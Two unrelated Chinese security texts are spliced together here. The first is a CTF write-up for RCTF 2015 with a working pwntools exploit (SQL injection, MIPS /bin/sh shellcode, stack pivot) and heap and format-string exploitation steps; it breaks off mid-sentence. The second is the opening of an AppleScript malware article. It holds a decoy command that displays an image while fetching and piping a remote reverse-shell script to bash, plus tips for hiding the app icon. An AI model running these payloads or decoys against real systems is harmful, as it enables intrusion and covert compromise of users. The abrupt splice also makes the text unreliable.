22722272222227272222727a2222222222272222272222222222cfdceeeebb9fdbcdbbedfdede7ce9bebe0bb1e2ceab9e2bbbdecf9d8,我们的输入经过处理后与这段字符串进行比较。
这段动态修改后的代码大意如下:
1、首先将输入hex化
2、将参数传入某个函数,经过动态跟踪发现该函数求了一个kmp算法里面会产生的数字数组,然后将该其加上0x19后与传入的字符串异或
3、再将上一次的输出hex化
4、执行了某个比较复杂的置换,这一步的置换经尝试与我们的输入无关,所以在od中动态将输入字符串改为 x00x01x02…xnn 之后可以得到置换方式
所以只要将上述步骤逆着来一下就可以,1,3,4 都比较好逆,2 的关键代码如下:
for ch in z:
if ans!='':
t=chr(ord(ch)^(cur+1+0x19))
if ans[cur+1]!=t:
cur=-1
else:
cur=cur+1
t=chr(ord(ch)^(cur+0x19))
ans+=t
但是发现这样得到的flag长得有点奇怪,虽然能过 crack me 但交上去不对,然后发现竟然是有多解的!!!
最后照着字符串修了一下得到正确 flag: *&*_U_g3t_the_CrackM3_f1@9!
**nobug (PWN 300)
**
首先NX并没有打开。
先看了一遍 ida 反编译的 c,程序就是个 base64 解码输出,并没有发现什么问题。
然后 0x804a8a0 这个全局变量存的就是解码之后的串,可以用来存 shellcode。
然后队友告诉我这里有个坑:
.text:08048BC0 push offset sub_8048BD1
.text:08048BC5 push offset sub_8048B32
.text:08048BCA push 0
.text:08048BCC lea esp, [esp+4]
.text:08048BD0 retn
其中 sub_8048BD1 只是用来修复栈的貌似。
然后 sub_8048B32 中又进行了一次base64解码,然后跟着个格式化字符串的漏洞。
栈里的信息可以泄漏,但是并不能泄漏任意地址。
于是使用栈里存的ebp。
------------------------------ returnadress 0x0804xxxx
ebp2 ebp3
ebp2+4 xxxx
........ ....
ebp1-4 xxxx
ebp1 ebp2
------------------------------
这是个栈,
我们的目的是修改 *return adress 为 0x804a8a0。
于是我们要有个指向 return adress 的指针。
现在我们要把 *ebp2 改为 return adress,我们又知道 *ebp1 == ebp2,
于是先修改 *ebp2,在修改 *return adress,就好啦。
**x xor md5 (CRYPTO 100)
**
首先查看拿到的文件,发现最后面几行都差不多。
根据题目名知道用异或,于是将那一行拿过来与每一行异或,得到了一个被很多 x00 隔开的字符串.
尝试后发现将整个字符串再与 0x20 异或可以得到一个大部分正确的值。
看了下不太正常的字符发现它们相差 0x10 位,于是猜测那一行里有一个字符不对,试验后得到
RCTF{We1l_d0n3_6ut_wh4t_i5_*key*}。
交上去发现不对,根据题目名知道这里异或的值是个md5值,破解一下得到原文 that,带入到上面的 *key* 中后就是正确的 flag。
顺便弱弱的问下出题人,为啥我们在开始那个字符弄错的情况下,拿到的错的 md5 竟然能正确解出 that,你们到底做了什么!!!
****
**weeeeeb3 (WEB 150)**
[Github](https://github.com/garzon/CTF-Writeups/tree/master/RCTF2015#weeeeeb3-web-150)
**asm (CRYPTO 200)
**
拿到一个汇编代码和一段密文,汇编编译失败所以就直接看了下。
首先有个 init 填满 128 个,然后encode看作 8 * 16 的方阵将其按从小到大与左边和上面(如果有的话)的元素异或,最后按 dfs
中序输出。
看懂之后直接逆着来一下,python shell过程如下,大概有不少冗余吧
>>> c1
'473c1e38740b4b0714640c4652333461546e7c7c544657452a030c220536103243336e0b53782d666374681e0b017d6917131d6b1243784d0b5c39754c7e7a727a763e300b1005062d1e6350107f5c705d200727606f494f397700715578333647153c3a0d3e7a1a305c1544246d4213712c7049490c384a3b61447b4a326046'
>>> c2=c1.decode('hex')
>>> c2
'G<x1e8tx0bKx07x14dx0cFR34aTn||TFWE*x03x0c"x056x102C3nx0bSx-fcthx1ex0bx01}ix17x13x1dkx12CxMx0b\9uL~zrzv>0x0bx10x05x06-x1ecPx10x7f\p] x07'`oIO9wx00qUx36Gx15<:r>zx1a0\x15D$mBx13q,pIIx0c8J;aD{J2`F'
>>> c3=''
>>> for i in range(128):
j=127-i
t=j%8
ch=ord(c2[j])
if t!=0:
ch=ch^ord(c2[j-1])
if j>=8:
ch=ch^ord(c2[j-8])
c3=chr(ch)+c3
>>> c3
'G{"&Lx7f@LSLvr`jLR@^x1eFz!%s~GsRsuqgisQG]x1dEy $r}FrQrtpfhrPF\x1cDx'+q|EqPq{weoqWECx03Kx7f&*pcDpWpzvdnpVDBx02J~%)wbKwVwyukmwUKAx01I}$(vaJvUvxtjl'
>>> for i in range(128):
if i==0:
continue
if ord(c3[0])^i+1==ord(c3[i]^i):
if 2*i<128 and ord(c3[0])^i+2==ord(c3[2*i]^i):
print i,
Traceback (most recent call last):
File "<pyshell#48>", line 4, in <module>
if ord(c3[0])^i+1==ord(c3[i]^i):
TypeError: unsupported operand type(s) for ^: 'str' and 'int'
>>> for i in range(128):
if i==0:
continue
if ord(c3[0])^i+1==ord(c3[i]^i):
if 2*i<128 and ord(c3[0])^i+2==ord(c3[2*i])^i:
print i,
Traceback (most recent call last):
File "<pyshell#50>", line 4, in <module>
if ord(c3[0])^i+1==ord(c3[i]^i):
TypeError: unsupported operand type(s) for ^: 'str' and 'int'
>>> for i in range(128):
if i==0:
continue
if ord(c3[0])^i+1==ord(c3[i])^i:
if 2*i<128 and ord(c3[0])^i+2==ord(c3[2*i])^i:
print i,
>>> for i in range(128):
if i==0:
continue
if i+1<128 and ord(c3[0])^i+1==ord(c3[i+1])^i:
if 2*i+1<128 and ord(c3[0])^i+2==ord(c3[2*i])^i:
print i,
>>> for i in range(128):
if i==0:
continue
if i+1<128 and ord(c3[0])^i+1==ord(c3[i+1])^i:
print i,
18 81
>>> c4=''
>>> for ch in c3:
c4+=chr(ord(ch)^18)
>>> c4
'Ui04^mR^A^d`rx^@RLx0cTh37alUa@agcu{aCUOx0fWk26`oT`C`fbtz`BTNx0eVj59cnWcBciew}cEWQx11Ym48bqVbEbhdv|bDVPx10Xl7;epYeDekgyx7feGYSx13[o6:dsXdGdjfx~'
>>> for i in range(128):
if i==0:
continue
if i<128 and (ord(c3[0])^i)+1==ord(c3[i])^i:
print i,
19 82
>>> c4=''
>>> for ch in c3:
c4+=chr(ord(ch)^19)
>>> c4
'Th15_lS_@_easy_ASMrUi26`mT`A`fbtz`BTNx0eVj37anUaBagcu{aCUOx0fWk48boVbCbhdv|bDVPx10Xl59cpWcDciew}cEWQx11Ym6:dqXdEdjfx~dFXRx12Zn7;erYeFekgyx7f'
>>> c4[19]
'U'
>>>
**VB (REVERSE 300)
**
拿到一个 VB 程序,用 VB Decompilier
看一下可以得到大致逻辑,可以看到进行了某种加密操作然后进行比较,用ollydbg下断点可以看到用户输入的加密结果。
经过简单尝试可以发现,程序的块大小为 128 bit,找到一个很像 key 的 }@$&]_#{a_b*lr=(,大小也为 128
bit,而且两个块之间不会互相影响,可知是ECB模式。于是找了下符合条件的块加密算法,试了下都不太对。
然后就一直在OD里面动态跟,发现某处对key作了一些改动,得到的key变为 ~C'%^ xba)oq>\+ (hex:7E 43 27 25 5E 5C
20 78 62 5C 61 29 6F 71 3E 2B),后面就用这个 key 再生成子 key 了。
于是拿这个 key 用 AES 解密了一下,还不太对。继续动态跟发现似乎还把结果十六进制字符串逆着排了一下,于是我们也把比较字符串再逆回去解密,就得到
RCTF{VB6_i5_3a5y_rIgHt}x00……去掉末尾 x00 就是 flag。
所以为什么 VB Decompilier 看到的类名是 clsDes?
**keys (PWN 600)
**
蛋疼的 MIPS ……
一个函数里面,把 SQL 查出来的值 strcpy 到栈上了,于是可以 SQL 注入构造一个超长的,溢出。
栈上 + 0x24 处恰好有个地方指向 output 数组,提前控制使得 output 为 shellcode,然后找个跳到 sp + 0x24 处的
gadget。
要注意的是 shellcode 种进去之后,下一个操作的时候故意拖延一下,让他服务里的 read block 住,触发 context
switch,刷缓存。
总而言之,细节一堆废话写的累,哪次有空了再来写吧,先还是贴程序(调试的东西都懒得整理了):
from utils import *
context(log_level = 'debug')
r = remote('59.77.135.196', 20006)
#payload = 'x52' * 0x1000
#payload = ''.join(map(chr,range(0x10, 256))).ljust(0x1000, 'x52')
payload = 'A' * 0x1000
r.sendline(payload)
r.recvline()
r.recvn(0x1000)
tab = '000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f343536373831323334353a3b3c3d3e3f404e4f505152535455565758595a4142434445464748494a4b4c4d5b5c5d5e5f606e6f707172737475767778797a6162636465666768696a6b6c6d7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff'.decode('hex')
stkaddr = u32(r.recvn(4)) #u32(''.join(map(lambda x: chr(tab.index(x)), r.recvn(4))))
mid__uClibc_main = u32(r.recvn(4)) #u32(''.join(map(lambda x: chr(tab.index(x)), r.recvn(4))))
log.success('Some stack address: %s' % hex(stkaddr))
log.success('Mid __uClibc_main: %s' % hex(mid__uClibc_main))
debug = 0x004022A4
main = 0x4014D4
#payload = 'A' * 0x200 + 'x54' + 'x42'
#plain = "'" + "A" * 600 + "'"
#plain = "load_extension('libc.so.0', 'system')"
#plain = 'sqlite_version()'
''' Pivot! +0x9C is also controlled..
.text:00401C48 lw $ra, 0x9C($sp) # Load Word
.text:00401C4C lw $fp, 0x98($sp) # Load Word
.text:00401C50 addiu $sp, 0xA0 # Add Immediate Unsigned
.text:00401C54 jr $ra # Jump Register
.text:00401C58 nop
'''
# 0x20 + 0x20 + 0x18
# For debug purpose
#shellcode = 'a4220224000000004000023c000000000800400000000000'.decode('hex')
shellcode = '66060624ffffd004ffff0628e0ffbd270110e4271ff08424e8ffa4afecffa0afe8ffa527ab0f02240c0101012f62696e2f7368'.decode('hex')
shellcode = '57044220'.decode('hex') * ((0x1000-len(shellcode))/4) + shellcode
log.info('Shellcode length: %d' % len(shellcode))
log.info('Encoded shellcode: %s' % shellcode.encode('hex'))
payload = shellcode
r.sendline(payload)
r.recvuntil('/bin/sh')
# time.sleep(5.0) # Wait 5 seconds to block "read" syscall
target = stkaddr - 0x2248 + 0x1240 + 0x400
#target = stkaddr - 0x2248 - 0x20
#prefix = 'A' * (0x9C - 0x54) + p32(target) + p32(0x4012D4)
prefix = 'A' * (0x9C - 0x58) + p32(target)
#prefix = p32(debug) * (0x200 / 4)
assert len(prefix) <= 0x200
plain = "hex(zeroblob(293))||CHAR(0x41,0x41, 0x54,0x0C,0x40,0)"
payload = prefix.ljust(0x200, 'x00') + 'x54' + 'x41' + "' UNION SELECT " + plain + " --"
for i in xrange(10):
r.send(payload[i])
time.sleep(0.3)
r.sendline(payload[10:])
r.recvuntil('x54x0cx40')
#r.sendline(payload)
r.sendline('pwd')
r.recvuntil('/')
r.interactive()
#r.recvall()
**not sequence (REVERSE 100)
**
用 ida 查看 elf 文件, 查看其中两个 check 过程, 当中分别对输入数组进行了校验.
手动将求和的方程列出, 求解得到前 20 个元素, 发现为杨辉三角形.
结合 Count=20 的条件, 将 0~210 个元素作为输入, 获得正确输出.
去掉空格后求 md5 即为 flag.
**Where (MOBILE 300)
**
首先解压,查看这个本身的 class.dex 一无所获。
然后发现 assets 中有个 abc,META-INF 中有个 y,同时 CERT.RSA 严重过大。
观察可知 abc 是个 dex 头,那就是要找出对应的 body 了,然后 CERT.RSA 中随便看看会发现有
KEY=Misc@inf0#fjhx11^@DEX=,于是把后面内容拉出来。
内容最后有个 aes-128-cbc,于是尝试解密,用 python 解密未遂(尝试前 16 位和后 16 位是 IV 都不行),
队友用 openssl 解密能出看起来正常的内容,但最后一行报错,于是照抄队友 openssl 命令成功(后发现队友 vim 编辑自动加了个换行 -_-#
的锅):
openssl aes-128-cbc -d -nosalt -in DEX -out DEX.dec -k Misc@inf0#fjhx11
把解出来的内容拼到 abc 后面,发现还是 010 模版跑还是没有内容。
然后发现头中各种 count 全是 0,于是计算一下修复下,然而修复后校验还是不对,dex2jar 失败,baksmali 成功,发现是
MainActivity 中 onCreate 不对。
然后想起之前没用到的 y,感觉是用来替换修复 onCreate 的,然而,第一次用 010 + 刚玩 android,找了半天没找到 onCreate
对应代码,还以为是代码和其余部分一样是一句话一句话打散的,以为走错路……
最后被队友告知 IDA 可以看 dex,于是轻松找到 onCreate 区域发现全是 0,果断替换之,校验正确,解开得 flag。
**Caesar deformation (MISC 100)
**
从图片的 Exif 信息中拿到一个奇怪的字符串,其中有许多重复字符,
把不重复的部分提取出来看作 01 串,然后不知道该怎么办,后来的提示里说不一定是 8 位,某队友试了下 7 位一个字符发现在某 2 种情况下得到的字符都是
printable 的。
同样根据题目提示,我们试着将其在 string.printable 上移位一下,得到一个奇怪的字符串 XCZFnCaesar tr3nsformation
s0 easy fun1x0b,然后我们发现第 1 与 3 个字符在 string.printable 上左移 6 位就是 R 和 T,n 与 x0b 左移
6 位则是 { 和 },空格左移则为 _,所以把它们移动一下得到RCTF{Caesar_tr3nsformation_s0_easy_fun1}
交上去竟然就过了。
最后附上操作的 python 代码如下
枚举部分:
s='DJECQDJEARTJECRTBAARDJECRTBACQDJACRTBECRTJEARTBACQTBAARTBECRDJECQTJAARDJECQTBEAQTBACQTJECQDBECRDJACQTBACQDJACRDBACRTBECQTBACQDBEARTBEARTJACQDJACQTJEARTBACQTJECQDBEAQTJEARDJEARDJACRDBEAQTBACQTJEARTJAARTJECQDJAARDJAAQTJEARTBACQTJEARTJACRDJECQDJAARDJAARDBACRTJACQTBECQDJACQDBACQDJEAR'
from pwn import *
def xor(s1,s2,z):
rt = ''
for i in range(len(s1)):
if s1[i]==s2[i]:
rt+=str(z[i])
else:
rt+=str(1-z[i])
return rt
cmp = 'DJECQ'
a={}
cnt=0;
def dfs(s,dep):
if dep == 5:
ans = ''
for i in range(len(s)/5):
ans+=xor(cmp,s[i*5:(i+1)*5],a)
flag=''
for i in range(len(ans)/7):
flag += pack(int(ans[i*7:(i+1)*7],2),8,endianness='big')
print flag
#print pack(int(ans,2),35*8,endianness='big')
#print len(pack(int(ans,2),35*8,endianness='big'))
#print hex(int(ans,2))[2:].decode('hex')
global cnt
cnt+=1
print cnt
return
a[dep]=1
dfs(s,dep+1)
a[dep]=0
dfs(s,dep+1)
print len(s)
dfs(s,0)
python shell部分:
>>> import string
>>> s='395f627c4b5f59233b593a493c3a522c3b242d3a2b593c272d2c493b4f4923593b5b49243d2c504d'.decode('hex')
>>> s
"9_b|K_Y#;Y:I<:R,;$-:+Y<'-,I;OI#Y;[I$=,PM"
>>> t=string.printable
>>> t
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ tnrx0bx0c'
>>> a=[]
>>> for ch in s:
... a.append(t.find(ch))
...
>>> a
[9, 88, 11, 91, 46, 88, 60, 64, 78, 60, 77, 44, 79, 77, 53, 73, 78, 65, 74, 77, 72, 60, 79, 68, 74, 73, 44, 78, 50, 44, 64, 60, 78, 84, 44, 65, 80, 73, 51, 48]
>>> len(t)
100
>>> t[1:]+t[:1]
'123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ tnrx0bx0c0'
>>> for i in range(99):
... t=t[1:]+t[:1]
... print t.encode('hex')
... print '--------------------------------'
... q=''
... for aa in a:
... q+=t[aa]
... print q
...
>>> t='4f505152535455565758595a2122232425262728292a2b2c2d2e2f3a3b3c3d3e3f405b5c5d5e5f607b7c7d7e20090a0d0b0c303132333435363738396162636465666768696a6b6c6d6e6f707172737475767778797a4142434445464748494a4b4c4d4e'.decode('hex')
>>> t
'OPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ tnrx0bx0c0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMN'
>>> q=''
>>> for aa in a:
... q+=t[aa]
...
>>> q
'XCZFnCaesar tr3nsformation s0 easy fun1x0b'
****
**I can't hear that (MISC 150)**
提供了一个 wav 文件, strings 到最后可以看到一个字符串形式的数组, 显然为有用信息.
将其提取出后发现为 0-8349 的一个排列, 查看 wav 文件元信息得到其 frame 数为 835000, 因此考虑根据数字指示将 wav
的帧重排列.
第 K 帧应放到其数组中对应值 (A[k]) 处, 重排列后播放 wav 得到 flag.
**login (WEB 300)
**
[Github](https://github.com/garzon/CTF-Writeups/tree/master/RCTF2015#login-web-300)
**Old Driver (REVERSE 400)
**
初步观察可知,题目应当是要 OldDriverAPP.exe 和 OldDriverWin7.sys 通信的过程寻找 Flag。
OldDriverAPP.exe
这程序被加了一层Themida壳,真无聊,还是先看驱动吧。
OldDriverWin7.sys
分析可知,驱动加载时主要干了这么几件事:
1、通过修改 SSDT 的方法 Hook NtDeviceIoControlFile(并且做的时候关了中断忘记开了)。
2、没了。
在 Hook NtDeviceIoControlFile 的处理函数中,驱动首先判断当前进程文件名是否是 OldDriverAPP.exe,如果是的话:
1、第一次调用时,强行将 IoControlCode 的最低位字节修改为 0x2F.
2、接下来的 512 次调用,根据驱动数据段的一个数组的值来强行修改 IoControlCode。这个数组是由 IoControlCode 为
0x22E02F 时触发的函数初始化的,内容为
"sasawawasawawawawawasasasasasasasawasawasawawasawawasawawasasawasawasawasasasawasasawasasawasasasawasawawasasasasasa"
"sawawasawawawawawawawawawasawasawawawasasawasasawawawawawawasawawasawasasawawawasasasasasawawawasawasawasasawawawasa"
"sasasawawawasawasasasawasawawawasawawawasasasasasasasasasasasawasawawawawawasawawasawasawasawasawasasasawawasawawawa"
"wasawasawawasawasasawawawawasasawasawasasasawasasawasawasasawasasawawasawawawasasawasasasasasasawasawawawawawawawasa"
"sawasasawawawawawasawasawasasawawasawawawasawawaf"
对于对应位置上是 w, s, a, d, f 的情况,分别将 IoControlCode 修改为0x22E037, 0x22E03B, 0x22E03F,
0x22E043, 0x22E047。
分析对应 IoControlCode 的 handler 可以大概了解到验证部分的逻辑。
OldDriverAPP.exe
脱这个壳太麻烦了,可以选择用 OllyDbg 带 StrongOD 插件在 Windows XP/7 上带壳调试。
StrongOD 开启大部分隐藏选项之后即可躲过 Themida 的检测。
在 OllyDbg 中运行起来程序之后查看 401000 处的内存,可以找到关键逻辑:
1、接受输入的一个用户名和密码。
2、对于用户名里的前 512 个字符(不够长的话多出来的部分就是0),发送一个请求给驱动,如果是 w/s/a/d/f,发送对应的control
code,否则发送一个奇怪的值。如果是a的话,额外读入两个整数一并传递给驱动。但是这个并不重要,因为……驱动里用hook的方式强行修改了这512个control
code是什么。
1、向驱动发送一个 "d" 对应的 control code,驱动中对应的逻辑是根据之前 asw 构造的矩阵验证用户名。
2、验证密码开头是不是 d4iDaiwo_,是的话,开始验证密码。
3、验证通过的话,输出 flag is password。
4、到这里,结合驱动里的逻辑,我们发现 flag 跟用户名完全没关系,不用在意用户名及验证用户名相关的逻辑。
5、发送一个 "f" 对应的 control code 给驱动,传入的 buffer 里面的 status 设置为 0xA,驱动收到之后设置传入的
buffer 里面的 status 为 0xB,初始的 key 值是利用当前 SSDT 里 NtDeviceIoControlFile
的指针算出来的(基本的防hook),计算可知这个值是 0x1490。
6、对于密码里接下来的 32 个字符,每两位一组,看作一个 unsigned short 和 key 值 xor,把 xor 之后的 key 值传给驱动。
检查status是否被驱动设置为 0xC 了,如果是的话,再发一个 f 请求给驱动要求验证。驱动如果认为正确,会把 status 设置为 0xD。
驱动里把每次收到的 key 值作为 Big Endian 的 unsigned short
存到了数组里,然后按照每个数从低位到高位,其他升序的顺序填充进一个 16×16 的矩阵。
然后计算 AX,跟 B 比较,其中 A、B 是硬编码在驱动里的两个矩阵,X 是根据 flag 填充的矩阵。
最后计算 flag 程序如下:
sage: user_expected
[ 38 42 57 53 54 64 56 67 19 53 43 45 34 85 64 51]
[ 48 46 67 116 90 100 58 74 57 86 52 50 67 105 52 96]
[ 33 37 37 55 52 81 42 56 53 52 37 44 34 76 55 52]
[ 42 24 27 63 72 64 45 48 37 36 39 37 40 71 46 62]
[ 33 25 42 72 66 51 33 57 38 57 50 33 54 80 40 71]
[ 24 48 45 63 62 87 58 59 61 64 43 54 58 85 63 63]
[ 43 32 59 58 60 69 31 67 40 56 59 47 39 83 66 53]
[ 50 41 35 82 90 92 44 71 75 71 65 50 53 112 69 98]
[ 54 38 79 61 65 90 44 80 37 69 63 53 49 86 72 51]
[ 43 54 35 71 68 74 34 66 47 45 62 43 35 85 73 78]
[ 31 40 58 60 69 88 52 76 50 64 59 47 54 90 62 68]
[ 47 36 41 58 61 69 32 45 36 38 43 46 14 79 48 62]
[ 29 48 65 57 64 85 30 67 54 72 72 54 55 86 68 64]
[ 61 46 60 76 74 74 53 53 47 58 50 69 33 106 69 72]
[ 45 45 73 71 70 101 54 63 46 68 48 59 51 82 52 58]
[ 30 46 58 65 61 80 39 55 51 71 52 48 60 76 46 62]
sage: flag_expected
[ 352 336 134 423 441 365 535 0 514 500 288 825 435 365 315 825]
[ 524 452 184 525 518 491 709 0 715 638 430 1164 595 491 526 1164]
[ 370 330 122 372 376 343 485 0 459 433 257 796 388 343 311 796]
[ 297 294 138 320 343 348 460 0 469 425 247 753 381 348 302 753]
[ 325 316 124 381 368 356 474 0 497 457 290 802 428 356 342 802]
[ 431 383 134 460 436 414 553 0 539 517 304 937 474 414 379 937]
[ 380 344 135 441 444 397 537 0 532 491 285 862 440 397 341 862]
[ 465 458 181 496 496 481 647 0 654 606 368 1098 550 481 423 1098]
[ 446 391 157 509 520 463 632 0 611 559 315 991 501 463 413 991]
[ 399 370 165 432 420 397 590 0 552 525 323 913 464 397 328 913]
[ 422 386 140 474 463 435 594 0 570 559 316 968 502 435 393 968]
[ 326 311 144 345 374 322 481 0 476 445 276 755 384 322 281 755]
[ 449 391 141 520 476 437 585 0 575 550 320 970 503 437 398 970]
[ 430 421 181 491 526 447 614 0 642 583 360 1001 513 447 375 1001]
[ 456 388 160 478 481 439 610 0 598 552 329 986 501 439 434 986]
[ 417 365 137 457 420 397 533 0 532 497 307 900 466 397 395 900]
sage: user_expected flag_expected
[0 1 1 0 1 1 1 0 1 0 0 1 0 1 0 1]
[1 1 1 1 0 0 1 0 0 1 1 1 1 0 0 1]
[1 0 0 1 1 1 1 0 1 1 1 1 1 1 1 1]
[1 0 0 0 0 0 1 0 1 0 1 1 0 0 1 1]
[0 0 1 0 0 1 0 0 1 1 0 1 1 1 1 1]
[1 0 0 0 0 0 1 0 0 0 0 1 0 0 1 1]
[0 1 0 0 1 1 1 0 1 1 0 1 0 1 0 1]
[0 0 0 0 0 0 1 0 0 1 0 1 1 0 0 1]
[1 1 0 0 0 1 0 0 0 0 0 1 0 1 0 1]
[1 1 0 1 1 0 0 0 1 0 0 1 0 0 1 1]
[0 1 0 1 1 1 1 0 1 1 0 1 0 1 0 1]
[0 0 0 1 1 0 0 0 1 1 0 1 1 0 0 1]
[0 0 0 1 0 1 0 0 0 0 0 1 1 1 1 1]
[0 1 0 1 1 0 0 0 0 1 1 1 1 0 0 1]
[1 0 0 1 1 1 1 0 1 0 0 1 0 1 0 1]
[0 0 0 0 0 0 1 0 1 1 1 1 1 0 0 1]
sage: flag = user_expected flag_expected
sage: %cpaste
Pasting code; enter '--' alone on the line to stop or use Ctrl-D.
:cur = 0x1490
:ans = 'RCTF{d4iDaiwo_'
:need = [int(''.join(map(lambda a: chr(ord('0')+a), list(x)[::-1])),2) for x in list(flag)]
:for x in need:
: t = (x >> 8) | ((x & 0xFF) << 8)
: ans += hex(t ^^ cur).decode('hex')
: cur = t
:ans += '}'
:print ans
**survey (SURVEY 20)
**
不知道是谁偷偷就给填了!!!
**shaxian (PWN 400)
**
读入 name 可以覆盖到结构体的 next,于是可以 free 任何地方。
然后鉴于只能在 malloc 完之后立即读入,于是需要控制 malloc 的返回值,
果断 fastbin,然后使分配出来的正好是 bss 上那个指针(后面叫 gptr)前面一点,
然后 malloc 完后,读入 name 时,覆盖掉 gptr,这样接下来读入 count 的时候就是一次任意写(改 atoi got 表控制程序流)。
填得时候稍微注意下,把分配出来地址 +0x8 的地方指回自己,从此 malloc 结果都会是那个地址不会变,于是可以无限次数任意写。
然后信息泄漏的话,直接改掉 next 后 review 下即可,但是这样要求指过去后,后面 next 位置要是 0,否则泄漏完容易崩溃。
泄漏 got 表后尝试使用各种 libc,libcdb 也搜过,都未遂(这是自己编译的 libc 的节奏么?)。
于是想了想,在 submit 的那个循环里面:
now = gptr;
if ( tot )
{
while ( now )
{
printlog(now);
ptr = now;
now = now->next;
free(ptr);
}
result = puts("Your order has been submitted!");
}
这里 printlog 可以用来泄漏信息,然后为了不崩溃,我们只要改掉 free 的 got 表,把程序强行跳转到读选项前面,开始新的一轮选择。
当然这样是有副作用的,破坏了栈,会无限增长,不过我们不比太在意。
至此,有了几乎无限次任意可读地址内存泄漏,就可以 dynELF 找出 system 和 puts 的偏移,然后就利用之前那个劫持程序流就可以拿到
shell。
PS:这里泄漏便宜和拿 shell 可以用两个程序,反正偏移永远不会变,所以哪怕直接暴力跑 N 遍强行 dump 所有内存也是可以的,只是跑的久点而已。
**QQ (MISC 200)
**
这题脑洞有多大真是怎么吐槽都不觉得过,最后一小时的时候,为了保准不被 217 绝杀(因为感觉很可能他们有藏
flag,而我们却没有任何底牌了,完全就是任人鱼肉的感觉),这题是我们认定的希望,于是最后又再次围了一群人上去脑洞这题,然而尝试遍各种我们自己都不信的方法,终究没能对上出题人的脑电波(求众筹砍出题人,往死里砍!)。
最后比赛结束后才知道,竟然是用 颜色值 * 宽度 求和,然后就得到 QQ,看看资料就有 flag。
这题不得不说很佩服 217 的脑洞能力,这种 xjb 乱猜的题也能那么快猜出来……
****
**Load (MOBILE 350)**
这题真是想到就心酸……
本来在 QQ 那题 YY 不出来之后,已经打算听天由命了(诸葛老师还提前表示比赛结束,浪费好多感情 (>_>)),然而最后三分钟的时候,某人表示拿到
android 350 的一个 key
不知道怎么用,然后立刻被我们团团围住,然后给了个方法立刻试了下,就看到手机突然弹出个网页(想来十有八九上面就直接写着个
flag),然而由于之前在实验室干活的时候,配置了 burp 的代理一直没有关,导致网页没能打开,于是……
就在我们激动不已的时候,一个悲剧悄然来袭。某人赶忙拿起手机,就在尝试去关 burp
代理的时候,屏幕一黑!我去,数据线由于动作太大断开了一下,这个手机电池坏了的有木有!!!
赶忙从旁边又拿了个安卓手机过来,想要补救,旁边电脑都打开提交页面准备好了,然而由于太急,手忙脚乱,刚开始连题目给的 apk
都忘记装了。然后就听到旁边某人喊了一句,217
反超了,然后不解释就更乱了,于是终究没能反绝杀……感觉这就是命吧,都是太激动惹的祸,想来以后也不太能再有这么好的机会了……
吐槽完毕,下面进入正题:
首先查看 AndroidManifest.xml
唯一一个被 permission 保护的服务
Permission 没有被保护
使用 permission bindService | 社区文章 |
**作者：redrain
原文链接：<http://noahblog.360.cn/applescript_attack/>**
## 背景
在恶意网络活动研究领域，针对个人终端的攻击Windows总是独占鳌头，但近年来MacOS的终端数上涨，让很多攻击团伙也开始聚焦针对MacOS的恶意软件利用，但即便针对MacOS的攻击，对手也倾向使用python/shell类脚本，恶意文档扩展一类的控制方案或入口利用。而AppleScript这一MacOS的内置脚本语言至今已沿用接近27年，却在安全研究领域鲜有人提及。我们在日常的研究工作中对基于AppleScript的恶意软件利用技术进行了适当总结和狩猎回顾，并提出一个依托AppleScript独有特性的攻击方法。
## AppleScript特点
AppleScript是MacOS的特有脚本语言，甚至在iOS或者iPadOS上都不能使用，且作为一门脚本语言AppleScript花里胡哨的"自然语言"古怪设计思路也常被开发者诟病，AppleScript试图以humanized的方式书写但又强硬规定了语法，导致代码及其冗长且背离自然语言书写思路。
如在当前目录下创建文件test，AppleScript基础语法书写应为：
tell application "Finder"
set selection to make new file at (get insertion location) with properties {name:"test"}
end tell
此外，由于AppleScript底层需要通过事件管理器(Apple Event
Manager)进行构造和发送Apple事件，他的执行效率也极低，所以在实际场景中无论是用户还是管理员，都极少使用AppleScript。
从AppleScript调用Apple Event
Manager能看出来，其核心是为了进行MacOS之间应用通信和自动化工作，所以通过0用户交互进行应用通信成为AppleScript的最大特点，只要脚本语言中设置好节点内容，可以再无人工参与的情况下进行任何MacOS下的基本操作和图形交互。
自动化应用通信加上用户免交互，二者叠加可以说是为攻击者提供了天然的鱼叉投递和后渗透土壤，没有任何"漏洞利用"能比"合法"使用任意流行应用进行无受害者参与的攻击路径更有效，所以虽然AppleScript在开发者，用户侧并不受待见，但在攻击侧，通过合理使用AppleScript往往能无往不利，而且不幸的是，Apple对于AppleScript安全的态度也很疲软。
## AppleScript Malware的常规利用
### 文件伪造
由于AppleScript可以进行应用通信且无感的特性，通过Script
Editor导出生成要执行的恶意AppleScript为应用文件，配合适当的icon和Unicode欺骗即可起到很好的诱饵投递效果。
do shell script "s=IP:PORT; curl -s $s/real.png | open -f -a Preview.app & curl -s $s/revscript | bash -"
AppleScript通过请求远端真实图片内容，用preview加载图片显示，达到正常的MacOS下图片预览效果的同时执行远端反弹脚本。
由于生成文件本质是应用文件，所以会在dock栏中显示图标，在app的info.plist中声明 **NSUIElement** 隐藏即可:
<key>NSUIElement</key>
<string>1</string>
### 浏览器注入
在2016年发现与神童lokihardt撞洞的CVE-2017-2361挖掘过程中，发现Webkit跳转调用HelpViewer支持执行AppleScript，在该场景中可实现通过浏览器入口触发js代码执行任意AppleScript，后官方修复HelpViewer的Handler
"x-help-script"和跳转xss问题，但依旧保留了通过Apple
Events调用JavaScript的特性，故当AppleScript应用投入成功后，可对任何支持Apple
Events的浏览器(如Safari,Chrome)进行"合法"注入。
#### Injection PoC for Safari:
tell application "Safari"
set list_of_windows to every window # get every open window
